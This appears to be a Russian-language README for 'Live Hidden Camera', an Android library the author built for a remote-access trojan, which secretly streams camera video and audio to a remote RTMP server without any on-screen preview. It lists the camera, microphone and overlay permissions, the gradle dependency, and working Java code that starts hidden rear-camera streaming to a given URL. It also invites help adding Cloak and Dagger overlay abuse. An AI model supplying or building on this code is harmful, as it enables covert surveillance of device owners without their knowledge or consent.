
Live Hidden Camera — это библиотека, которая записывает живое видео и аудио с устройства Android без отображения предварительного просмотра.
Live Hidden Camera (LHC) — это библиотека, которая записывает живое видео и аудио с Android-устройства без предварительного просмотра.

Я работаю над исследовательским Android-вредоносным ПО и решил создать многофункциональный RAT (Remote Administration Tool). Я работал над прямыми трансляциями, и нашел несколько проектов с открытым исходным кодом на основе RTMP, включая:
Все они имеют некоторые проблемы в зависимости от требований RAT. Но общей проблемой было то, что всем им нужна активность, включающая SurfaceView.
Поэтому я начал поиски. В итоге я смог создать Live Hidden Camera, которой для трансляции живого видео требуется только CONTEXT, объединив эти два проекта:
Я создал библиотеку, чтобы сделать ее более удобной. Единственное требование — добавить библиотеку в ваш проект и передать ей URL RTMP.
Кроме того, вы должны позаботиться о следующем:
Manifest.xml:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
Использование библиотеки простое. Просто добавьте следующую библиотеку в файл gradle.build вашего проекта.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.Перед использованием библиотеки вы должны развернуть RTMP-сервер. Я использовал Ant Media Server. Есть хорошее руководство по установке Ant Media Server по ЭТОЙ ССЫЛКЕ.
После запуска Ant Media RTMP-сервера вы должны увидеть нечто подобное:

После добавления библиотеки в ваш проект выполните следующие шаги:
Создайте класс, который реализует: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Создайте два поля (одно для публикации и одно для предварительного просмотра):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Реализуйте функцию для запуска скрытой живой камеры:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
Основная проблема, с которой я сейчас сталкиваюсь, — это зеленый экран. Я описал ошибку на StackOverflow в https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
Если у вас есть какие-либо предложения по этой проблеме или другие идеи, не стесняйтесь обращаться ко мне.
Из-за наложения скрытой живой камеры другие приложения нельзя нажать. Нажатия принимаются только LHC. Смотрите раздел TODO.
Существует проект под названием Cloak and Dagger, который раскрыл очень опасную возможность в Android. Любой вклад в использование Cloak and Dagger в LHC приветствуется.
Информация о Cloak and Dagger:
Вы можете пожертвовать на этот проект, используя мой адрес Bitcoin:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Вы можете связаться со мной через мой сайт: https://mstajbakhsh.ir/